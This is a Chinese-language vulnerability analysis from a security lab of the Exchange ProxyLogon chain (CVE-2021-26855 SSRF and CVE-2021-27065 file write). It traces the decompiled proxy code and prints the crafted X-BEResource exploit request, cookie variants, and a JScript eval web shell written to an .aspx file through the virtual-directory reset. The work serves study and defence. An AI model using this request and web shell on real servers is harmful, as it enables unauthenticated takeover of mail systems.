

Exchange 攻击链 CVE-2021-26855&CVE-2021-27065 分析

作者：HuanGMz@知道创宇 404 实验室 日期：2021 年 3 月 11 日

作者：HuanGMz@知道创宇 404 实验室

日期：2021 年 3 月 11 日

近期 Exchange 爆出了已被在野利用的高危利用链，CVE-2021-26855 和 CVE-2021-27065 就是其中涉及到的两个漏洞。

CVE-2021-26855 是一个 SSRF 漏洞，问题出现在将客户端请求代理到服务端时，该漏洞可以获取用户的 sid，实现了无交互攻击链中最重要的第一步。


CVE-2021-27065 则是一个写文件漏洞，虽然不能完全控制要写入的内容，但是文件名与路径可以任意设置。当我们以 .aspx 为后缀创建文件，并在文件中插入一句话木马时，可以实现远程控制。

CVE-2021-26855

该漏洞虽然只是个绕过安全验证的 ssrf，但堪称近 Exchange 近两年比较重要的漏洞之一。因为与以往那些隔靴搔痒的 RCE 相比（需要基础用户权限），该漏洞提供了批量攻击的机会，这也是本次漏洞影响这么大的原因。

```
格式化 原始 ln 选项
1 POST /ecp/target.js HTTP/1.1
2 Host: 192.168.33.135
3 Connection: close
4 Accept-Encoding: gzip, deflate
5 Accept: */*
6 User-Agent: ExchangeServicesClient/0.0.0.0
7 Cookie: X-BEResource=name]@WIN-PDEIT81MJNQ.server.cd:444/autodiscover/autodiscover.xml?#~1941962753
8 Content-Type: text/xml
9 Content-Length: 339
10
11
12 <Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/requestschema/2006">
13   <Request>
14     <EmailAddress>
15       Mr.wang@server.cd
16     </EmailAddress>
17   </Request>
18 </Autodiscover>
```

```
http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a
16 </AcceptableResponseSchema>
17 </Request>
18 </Autodiscover>
```



上图为利用该漏洞时发出的 post 请求包，其中有两处关键：

```
url: /ecp/target.js
Cookie: X-BEResource=name]@WIN-PDEIT81MJNQ.server.cd:444/autodiscover/autodiscover.xml?#~1941962753
```

我们带着以下几个问题去分析：

1. /ecp/target.js 的 url 代表着什么？是否非此不可？
2. Cookie 中的 X-BEResource 代表什么？其值是如何构造的？为什么要这样构造？


要想回答上面的问题，我们必须找到 target.js 是如何处理请求的。经过搜索，我们可以断定 target.js 不是一个实体文件，而是一个虚拟路径，那么处理该请求的代码位于哪里？

经过调试，我们可以得出以下调用过程：

```
Microsoft.Exchange.FrontEndHttpProxy.dll!Microsoft.Exchange.HttpProxy.ProxyModule.OnPost
AuthorizeRequest()
```

首先进入了 ProxyModule 的 OnPostAuthorizeRequest() 函数，从名字来看，该函数用于对 post 请求进行安全验证。该函数又调用了 ProxyModule.OnPostAuthorizeInternal() 函数。

```
88 // Token: 0x060005EE RID: 1518 RVA: 0x00020FC4 File Offset: 0x0001F1C4
89 protected virtual void OnPostAuthorizeInternal(HttpApplication httpApplication)
90 {
91     HttpContext context = httpApplication.Context;
92     if (NativeProxyHelper.CanNativeProxyHandleRequest(SharedHttpContextWrapper.GetWrapper(context)))
93     {
94         RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo
95             (RequestDetailsLoggerBase<RequestDetailsLogger>.GetCurrent(context), "ProxyRequestHandler",
96             return;
97     }
98     IHttpHandler httpHandler;
99     if (context.Request.IsAuthenticated)
100     {
101         httpHandler = this.SelectHandlerForAuthenticatedRequest(context);
102     }
103     else
104     {
105         httpHandler = this.SelectHandlerForUnauthenticatedRequest(context);
106     }
107     if (httpHandler != null)
```



在 OnPostAuthorizeInternal() 函数里，调用了

ProxyModule.SelectHandlerForUnauthenticatedRequest() 方法，该方法用于对 未安全验证的请求 选择 Handler (即处理函数)，后续会调用该 Handler 类的 BeginProcessRequest 函数进一步处理请求。我们跟进去看他 是根据什么选择 Hanlder 的。

```

IHttpHandler httpHandler = null;
if (HttpProxyGlobals.ProtocolType == ProtocolType.Autodiscover)
{
    httpHandler = new AutodiscoverProxyRequestHandler();
}
else if (HttpProxyGlobals.ProtocolType == ProtocolType.Ews)
{
    if (RequestPathParser.IsEwsUnauthenticatedRequestProxyHandlerAllowed(
        httpContext.Request))
    {
        httpHandler = new EwsProxyRequestHandler();
    }
}
else if (HttpProxyGlobals.ProtocolType == ProtocolType.Rest)
{
    if (RequestPathParser.IsRestUnauthenticatedRequestProxyHandlerAllowed(
        httpContext.Request))
    {
        httpHandler = new RestProxyRequestHandler();
    }
}
else if (HttpProxyGlobals.ProtocolType == ProtocolType.Ecp)
{
    if (EDiscoveryExportToolProxyRequestHandler.IsEDiscoveryExportToolProxyRequest(
        httpContext.Request))
    {
        httpHandler = new EDiscoveryExportToolProxyRequestHandler();
    }
    else if (BEResourceRequestHandler.CanHandle(httpContext.Request))
    {
        httpHandler = new BEResourceRequestHandler();
    }
}

```



可以看到，对于不同的 ProtocolType，使用不同的 RequestPathParser 函数进行判断，并生成了不同的 httpHandler。这个 ProtocolType 不清楚来自哪里，应该是与我们请求的应用程序集有关，以 /ecp/target.js 进行请求，则 ProtocolType 就是 Ecp。

在 ProtocolType 为 Ecp 的情况下，又进行了多次判断，其中最关键的就是

BEResourceRequestHandler.CanHandle 函数，如果这个函数判断为真，则使用

BEResourceRequestHandler.CanHandle() 函数。如果该函数判断为真，则使用 BEResourceRequestHandler 作为请求的 Handler。我们跟入 CanHandler 看一下。

```
// Token: 0x060004CE RID: 1230 RVA: 0x0001AA2E File Offset: 0x00018C2E
internal static bool CanHandle(HttpRequest httpRequest)
{
    return !string.IsNullOrEmpty(BEResourceRequestHandler.GetBEResourceCookie(httpRequest)) &&
        BEResourceRequestHandler.IsResourceRequest(httpRequest.Url.LocalPath);
}
```

```
private static string GetBEResourceCookie(HttpRequest httpRequest)
{
    string result = null;
    HttpCookie httpCookie = httpRequest.Cookies[Constants.BEResource];
    if (httpCookie != null)
    {
        result = httpCookie.Value;
    }
    return result;
}
```

```
public static bool IsResourceRequest(string localPath)
{
    ArgumentValidator.ThrowIfNull("localPath", localPath);
    return localPath.EndsWith(".axd", StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".crx",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".css",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".eot",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".gif",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".jpg",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".js",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".htm",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".html",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ico",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".manifest",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mp3",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".msi",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".png",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".svg",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".ttf",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".wav",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".woff",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".bin",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".dat",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".exe",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".flt",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".mui",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".xap",
        StringComparison.OrdinalIgnoreCase) || localPath.EndsWith(".skin",
        StringComparison.OrdinalIgnoreCase);
}
```

可以看到，判断要素有两个，Cookies 中要有 X-BEResource 字段，且请求路径需要以 .axc 或 .css 或 .js 或其他一些后缀进行结尾。只有这两个条件满足，才会选择 BEResourceRequestHandler 作为请求 Handler。

该 Handler 会被设置给 context.RemapHandlerInstance 属性，并最终被赋值给了

以 handler 去替换该语句 context.Handler.Handler.Instance 属性，并最终被赋值给 context.Handler。

```
if (handler is IHttpAsyncHandler)
{
    IHttpAsyncHandler httpAsyncHandler = (IHttpAsyncHandler)handler;
    this._sync = false;
    this._handler = httpAsyncHandler;
    Func<HttpContext, AsyncCallback, object, IAsyncResult> func =
        AppVerifier.WrapBeginMethod<HttpContext>(this._application, new Func<HttpContext,
            AsyncCallback, object, IAsyncResult>(httpAsyncHandler.BeginProcessRequest));
    this._asyncStepCompletionInfo.Reset();
    context.SyncContext.AllowVoidAsyncOperations();
    IAsyncResult asyncResult;
    try
    {
        asyncResult = func(context, this._completionCallback, null);
    }
}
```

而后便会调用 Handler.BeginProcessRequest() 函数来对请求进行进一步处理。由于 BEResourceRequestHandler 继承与 ProxyRequestHandler，所以最终调用了 ProxyRequestHandler.BeginProcessRequest() 函数。

ProxyRequestHandler 类的作用应是 将指向 FrontEnd 的 Http 请求，转发给 BackEnd。

在 ProxyRequestHandler.BeginProcessRequest() 函数里，创建新线程调用了 ProxyRequestHandler.BeginCalculateTargetBackEnd() 函数，其作用是根据 Cookie 中的 X-BEResource 字段来判断与生成指向 BackEnd 的目标 url。

BeginCalculateTargetBackEnd() 调用了 ProxyRequestHandler.InternalBeginCalculateTargetBackEnd() 函数。

InternalBeginCalculateTargetBackEnd() 调用了 BEResourceRequestHandler.ResolveAnchorMailbox() 函数。

如下：

```
protected override AnchorMailbox ResolveAnchorMailbox()
{
    string beresourceCookie = BEResourceRequestHandler.GetBEResourceCookie(base.ClientRequest);
    if (!string.IsNullOrEmpty(beresourceCookie))
    {
        base.Logger.Set(HttpProxyMetadata.RoutingHint, Constants.BEResource + "-Cookie");
        if (ExTraceGlobals.VerboseTrace.IsTraceEnabled(TraceType.DebugTrace))
        {
            base.Logger.TraceVerbose("ResolveAnchorMailbox: beresourceCookie={0}", beresourceCookie);
        }
    }
}
```

```

        if (ExTraceGlobals.VerboseTracer.IsTraceEnabled(TraceType.DebugTrace))
        {
            ExTraceGlobals.VerboseTracer.TraceDebug<string, int>(((long)this.GetHashCode()),
                "[BEResourceRequestHandler::ResolveAnchorMailbox]: BEResource cookie used: {0}; context {1}.",
                beresourceCookie, base.TraceContext);
        }
        return new ServerInfoAnchorMailbox(BackEndServer.FromString(beresourceCookie), this);
    }
    return base.ResolveAnchorMailbox();
}

```

可以看到，该函数直接提取出 Cookie 中的 X-BEResource 字段，并用其生成 BackEndServe 实例。查看 BackEndServer.FromString() 函数，会发现它直接依据 '~' 符号切割 beresourceCookie 字符串，前半段作为 fqdn，后半段作为 version。所谓 fqdn 既是 "全限定域名"，而邮件服务器中的 fqdn 类似于这样: tom@404.com。这个 version 指的是 BackEndServer Version。

之后：

InternalBeginCalculateTargetBackEnd() 创建新线程调用了 ProxyRequestHandler.OnCalculateTargetBackEndCompleted() 函数。

OnCalculateTargetBackEndCompleted() 函数又调用了 BEResourceRequestHandler.InternalOnCalculateTargetBackEndCompleted() 函数。

。。。 (省略好几个调用)

进入了 ProxyRequestHandler.BeginProxyRequest() 函数，该函数开始处理代理请求。

BeginProxyRequest 调用 GetTargetBackEndServerUrl() 来获取 之前给你 BackEnd 的 url。

```

protected virtual Uri GetTargetBackEndServerUrl()
{
    this.LogElapsedTime("E_TargetBEUrl");
    Uri result;
    try
    {
        UrlAnchorMailbox urlAnchorMailbox = this.AnchoredRoutingTarget.AnchorMailbox as UrlAnchorMailbox;
        if (urlAnchorMailbox != null)
        {
            result = urlAnchorMailbox.Url;
        }
        else
        {
            UriBuilder clientUrlForProxy = this.GetClientUrlForProxy();
            clientUrlForProxy.Scheme = Uri.UriSchemeHttps;
            clientUrlForProxy.Host = this.AnchoredRoutingTarget.BackEndServer.Fqdn;
            clientUrlForProxy.Port = 444;
            if (this.AnchoredRoutingTarget.BackEndServer.Version < Server.E15MinVersion)
            {
                this.ProxyToDownLevel = true;
                RequestDetailsLoggerBase<RequestDetailsLogger>.SafeAppendGenericInfo(this.Logger, "ProxyToDownLevel", true);
                clientUrlForProxy.Port = 443;
            }
            result = clientUrlForProxy.Uri;
        }
    }
}

```

这段代码实例化了一个 UriBuilder 类，涉及三个关键属性，Scheme、Host 和 Port。

Schema 被设置为 https；

Host 取自于 BackEndServer.Fqdn, 看一下 Host.Set() :

```
set
{
    if (value == null)
    {
        value = string.Empty;
    }
    this.m_host = value;
    if (this.m_host.IndexOf(':') >= 0 && this.m_host[0] != '[')
    {
        this.m_host = "[" + this.m_host + "]";
    }
    this.m_changed = true;
}
```

如果 fqdn 中包含 ':' 且不是以 '[' 开头, 则使用 '[' 来包住 fqdn。':' 用于指示目标 BackEnd Server 端口。

Port 依据 BackEndServer.Version。如果该 Version 小于 E15MinVersion (即 1941962752), 则指定 this.ProxyToDownLevel 为 true, 且将 port 将指定为 443。

还记得我们第一张图里的 X-BeResource 吗:

```
name]@WIN-PDEIT81MJNQ.server.cd:444/autodiscover/autodiscover.xml?#~1941962753
```

其对应的三个字段下图:

名称	值
clientUrlForProxy	{https://[name]@WIN-PDEIT81MJNQ.server.cd:444/autodiscover/autodiscover.xml?#]:443/ecp/target.js}
Fragment	""
Host	"[name]@WIN-PDEIT81MJNQ.server.cd:444/autodiscover/autodiscover.xml?#]"
Password	""
Path	"/ecp/target.js"
Port	443
Query	""
Scheme	"https"
Uri	{https://[name]@win-pdeit81mjnq.server.cd:444/autodiscover/autodiscover.xml?#]:443/ecp/target.js}
UserName	"%5Bname%5D"

但在给 Post 字段赋值完后会自动进行重新解析，变成下面这样：

名称	值
clientUrlForProxy	{https://%5Bname%5D@win-pdeit81mjnq.server.cd:444/autodiscover/autodiscover.xml?#%5D:443/ecp/target.js}
Fragment	"#%5D:443/ecp/target.js"
Host	"win-pdeit81mjnq.server.cd"
Password	""
Path	"/autodiscover/autodiscover.xml"
Port	444
Query	"?"
Scheme	"https"
Uri	{https://%5Bname%5D@win-pdeit81mjnq.server.cd:444/autodiscover/autodiscover.xml?#%5D:443/ecp/target.js}
UserName	"%5Bname%5D"

我没有找到这个自动重新解析的原理。

在将上面三个属性赋值后，该函数就返回了 clientUrlForProxy.Uri，查看 Uri 的 get 方法：

```
public Uri Uri
{
    [__DynamicallyInvokable]
    get
    {
        if (this.m_changed)
        {
            this.m_uri = new Uri(this.ToString());
            this.SetFieldsFromUri(this.m_uri);
            this.m_changed = false;
        }
        return this.m_uri;
    }
}
```

调用了 UriBuilder.ToString() 方法来取得最终的 指向 BackEnd 的目标 url。

在 ToString() 中对各个参数进行拼接，形成 url。

```
public override string ToString()
{
    if (this.m_username.Length == 0 && this.m_password.Length > 0)
    {
        throw new UriFormatException(SR.GetString("net_uri_BadUserPassword"));
    }
    if (this.m_scheme.Length != 0)
    {
        UriParser syntax = UriParser.GetSyntax(this.m_scheme);
        if (syntax != null)
        {
            this.m_schemeDelimiter = ((syntax.InFact(UriSyntaxFlags.MustHaveAuthority) || (this.m_host.Length != 0 && syntax.NotAny(UriSyntaxFlags.MailToLikeUri) && syntax.InFact(UriSyntaxFlags.OptionalAuthority))) ? Uri.SchemeDelimiter : ":");
        }
        else
        {
            this.m_schemeDelimiter = ((this.m_host.Length != 0) ? Uri.SchemeDelimiter : ":");
        }
    }
    string text = (this.m_scheme.Length != 0) ? (this.m_scheme + this.m_schemeDelimiter) : string.Empty;
    return string.Concat(new string[]
    {
        text,
```



```

        this.m_username,
        (this.m_password.Length > 0) ? (":" + this.m_password) : string.Empty,
        (this.m_username.Length > 0) ? "@" : string.Empty,
        this.m_host,
        (this.m_port != -1 && this.m_host.Length > 0) ? (":" + this.m_port) : string.Empty,
        (this.m_host.Length > 0 && this.m_path.Length != 0 && this.m_path[0] != '/') ? "/" : string.Empty,
        this.m_path,
        this.m_query,
        this.m_fragment
    );
}

```

至此我们就获得了一个指向 BackEnd 的 url，类似下面这样：

```
https://[name]@win-pdeit81mjnq.server.cd:444/autodiscover/autodiscover.xml?#]:443/ecp/target.js
```

经过上面的分析，我们回答了一开始的问题：

/ecp/target.js 不是必须的，它可以是其他的路径 /ecp/xxxxxxx.png

X-BEResource 用于代理请求，其原本格式应该是 [fqdn]~BackEndServerVersion

BackEndServerVersion 应该大于 1941962752，'#' 用于在有 url 请求参数时分隔参数。

而且我们知道了 X-BEResource 实际上完全不需要 ']' 去闭合中括号，我们完全可以直接用 '[' 来将 name 括起来，比如下面这样：

```
[name]@WIN-PDEIT81MJNQ.server.cd:444/autodiscover/autodiscover.xml?#~1941962754
[name]@WIN-PDEIT81MJNQ.server.cd:444/autodiscover/autodiscover.xml?&~1941962755
```

甚至如果你不需要特别指定端口号，你还可以使用下面的值：

```
WIN-PDEIT81MJNQ.server.cd/autodiscover/autodiscover.xml?#~1941962753
```

这样会导致以 443 端口访问 https://win-

pdeit81mjnq.server.cd/autodiscover/autodiscover.xml?#:444/ecp/target.js

不过大多数的 BackEnd 站点需要用 444 端口访问，不指定端口可能会导致访问失败。

之后 ProxyRequestHandler 就会向目标 BackEnd Url 发起请求，将来自客户端的请求代理给服务端。

需要注意的是，中间代理在 BeginProxyRequest() 函数中调用 CreateServerRequest() 来创建指向服务端的请求，而该函数会间接调用 GenerateKerberosAuthHeader() 函数来创建 Kerberos 认证头部。这也是中间代理能够访问 BackEnd Server 的一个重要原因。

不过还有一点我们没有解决，就是关于 BackEndServer Version 的问题。前面我们将其设置为 1941962753 时，说是要大于 E15MinVersion。而且我看其他的分析中也说到，如果不设置大于，会导致后面进行安全验证，进而导致失败。但我在 Exchange 2016 上观察，AddDownLevelProxyHeaders() 函数的作用大致是面对低版本的 Server，添加额外的请求头部，如果没有安全验证，则不添加。并没有出现报错的情况。

```
internal static void AddDownLevelProxyHeaders(WebHeaderCollection headers, HttpContext context)
{
    if (!context.Request.IsAuthenticated)
    {
        return;
    }
    if (context.User != null)
    {
        IIdentity identity = context.User.Identity;
        if ((identity is WindowsIdentity || identity is ClientSecurityContextIdentity) && null != identity.GetSecurityIdentifier())
        {
            string value = identity.GetSecurityIdentifier().ToString();
            headers["msExchLogonAccount"] = value;
            headers["msExchLogonMailbox"] = value;
            headers["msExchTargetMailbox"] = value;
        }
    }
}
```

后来我在 Exchange 2013 上测试，发现了端倪：

```
internal static void AddDownLevelProxyHeaders(WebHeaderCollection headers, HttpContext context)
{
    IIdentity identity = context.User.Identity;
    string value = null;
    if (identity is WindowsIdentity || identity is ClientSecurityContextIdentity)
    {
        value = IIdentityExtensions.GetSecurityIdentifier(identity).ToString();
    }
    headers["msExchLogonAccount"] = value;
    headers["msExchLogonMailbox"] = value;
    headers["msExchTargetMailbox"] = value;
}
```

在 Exchange2013 上代码稍有不同，这里没有直接返回，而是会进入 if 分支，调用 GetSecurityIdentifier()。而我们的请求是未安全验证的，identity 中 User 属性为 Null。所以当 GetSecurityIdentifier() 返回 identity.User，并调用其 ToString() 方法时，会直接报错："未将对象引用设置到对象的实例"。

CVE-2021-27065

该漏洞是一个写文件漏洞，其原理很简单。

在 ecsp 管理界面找到 关于虚拟目录的配置窗口：

收件人

权限

合规性管理

组织

保护

邮件流

移动

公用文件夹

统一消息

服务器

混合

服务器 数据库 数据库可用性组 虚拟目录 证书

选择服务器: 所有服务器

选择类型: 所有

名称	服务器	类型	版本	上次修改时间	
Autodiscover (Default Web Site)	WIN-PDEIT81MJ...	Autodisco...	Version 15.1 (Build 2106.2)	2020/12/12 23:09	OAB (Default Web Site) 轮询间隔(分钟): 480 外部 URL:
ecp (Default Web Site)	WIN-PDEIT81MJ...	ECP	Version 15.1 (Build 2106.2)	2020/12/12 23:08	
EWS (Default Web Site)	WIN-PDEIT81MJ...	EWS	Version 15.1 (Build 2106.2)	2020/12/12 23:09	
mapi (Default Web Site)	WIN-PDEIT81MJ...	Mapi	Version 15.1 (Build 2106.2)	2020/12/12 23:09	
Microsoft-Server-ActiveSync (Default ...)	WIN-PDEIT81MJ...	EAS	Version 15.1 (Build 2106.2)	2020/12/12 23:09	
OAB (Default Web Site)	WIN-PDEIT81MJ...	OAB	Version 15.1 (Build 2106.2)	2021/3/11 1:24	
owa (Default Web Site)	WIN-PDEIT81MJ...	OWA	Version 15.1 (Build 2106.2)	2020/12/22 22:02	
PowerShell (Default Web Site)	WIN-PDEIT81MJ...	PowerShell	Version 15.1 (Build 2106.2)	2020/12/12 23:09	

Seebug

虚拟目录 - Internet Explorer

OAB (Default Web Site)

服务器:
WIN-PDEIT81MJNQ

上次修改时间:
2021/3/11 1:12

轮询间隔(分钟):
480

内部 URL:
https://win-pdeit81mjnq.server.cd/OAB
此内部 URL 是指公司网络内部的 Outlook 客户端可以访问此虚拟目录的 URL。

外部 URL:
http://test/<script language="JScript" runat="server">function Page_Load(){eval(Request["mypasswd"], "unsafe");}</scrip
此外部 URL 是指公司网络外部的 Outlook 客户端可访问此虚拟目录的 URL。

保存 取消

可以看到，在 OAB VirtualDirectory 的配置界面有多个字段可以配置，我么将其中的 ExternUrl 中设置为一句话木马。

而后选择重置 虚拟目录：

重置虚拟目录 - Internet Explorer

https://win-pdeit81mjnq.server.cd/ecp/VDirMgmt/ResetVirtualDirectory.aspx?pwmcid=69&ReturnObjectType=

警告

重置“OAB (Default Web Site)”虚拟目录时，当前设置会丢失。该虚拟目录将被删除，然后使用默认设置重新创建该虚拟目录。

将当前设置存储在文件中: (示例: \\server\folder\log.txt)

\\WIN-PDEIT81MJNQ\wwwroot\myshell.aspx

重置后，必须在服务器 WIN-PDEIT81MJNQ 上先后运行 "net stop was /y" 和 "net start w3svc" 命令以使更改生效。

重置

取消



可以看到，页面中说明会将当前设置存储在文件中，路径由我们自己设置，虽然示例给的文件名后缀是 .txt，但实际上我们可以将其设置为 .aspx。我们选择将设置保存在 C:\inetpub\wwwroot\myshell.aspx，这样做会导致当我们通过网络请求访问该文件时，服务器会以 aspx 的格式对其进行解析。

注意：如果是从网页进行重置，需要使用 unc 路径，需要提前将目标文件夹进行网络共享。但是 如果通过 /ecp/DDI/DDIService.svc/SetObject 接口进行重置，则可以直接使用物理路径，会自动将对应文件夹进行网络共享。

选择重置后，我们查看对应位置：

```
myshell.aspx - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
Name : OAB (Default Web Site)
PollInterval : 480
OfflineAddressBooks :
RequireSSL : True
BasicAuthentication : False
WindowsAuthentication : True
OAuthAuthentication : False
MetabasePath : IIS://WIN-PDEIT81MJNQ.server.cd/W3SVC/1/ROOT/OAB
Path : C:\Program Files\Microsoft\Exchange Server\V15\FrontEnd\HttpProxy\OAB
ExtendedProtectionTokenChecking : None
ExtendedProtectionFlags :
ExtendedProtectionSPNList :
AdminDisplayVersion : Version 15.1 (Build 2106.2)
Server : WIN-PDEIT81MJNQ
InternalUrl : https://win-pdeit81mjnq.server.cd/OAB
InternalAuthenticationMethods : WindowsIntegrated
ExternalUrl : http://test/<script language="JScript" runat="server">function Page_Load() {eval(Request["mypasswd"], "unsafe");}</scrip
ExternalAuthenticationMethods : WindowsIntegrated
AdminDisplayName :
ExchangeVersion : 0.10 (14.0.100.0)
DistinguishedName : CN=OAB (Default Web Site),CN=HTTP,CN=Protocols,CN=WIN-PDEIT81MJNQ,CN=Servers,CN=Exchange Administrative Group (FYDIBOHF
Identity : WIN-PDEIT81MJNQ\OAB (Default Web Site)
Guid : 7da51642-0fde-431d-a9b7-e3442c7e457f
ObjectCategory : server.cd/Configuration/Schema/ms-Exch-OAB-Virtual-Directory
ObjectClass : top
               msExchVirtualDirectory
               msExchOABVirtualDirectory
WhenChanged : 2021/3/11 14:52:14
WhenCreated : 2021/3/5 18:35:10
WhenChangedUTC : 2021/3/11 6:52:14
WhenCreatedUTC : 2021/3/5 10:35:10
OrganizationId :
Id : WIN-PDEIT81MJNQ\OAB (Default Web Site)
OriginatingServer : WIN-PDEIT81MJNQ.server.cd
IsValid : True
```

可以看到，OAB VirtualDirectory 的配置信息已经被写入到目标位置，这其中藏着一句话木马，而且以 .aspx 为文件后缀。

该漏洞的官方补丁也很简单，直接强制要求重置配置文件时，新建的文件必须以 .txt 为后缀。

附录

<https://www.praetorian.com/blog/reproducing-proxylogon-exploit/>
(<https://www.praetorian.com/blog/reproducing-proxylogon-exploit/>)

<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/> (<https://www.microsoft.com/security/blog/2021/03/02/hafnium-targeting-exchange-servers/>)

<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/> (<https://www.volexity.com/blog/2021/03/02/active-exploitation-of-microsoft-exchange-zero-day-vulnerabilities/>)

本文由 Seebug Paper 发布，如需转载请注明来源。本文地址：
<https://paper.seebug.org/1501/> (<https://paper.seebug.org/1501/>)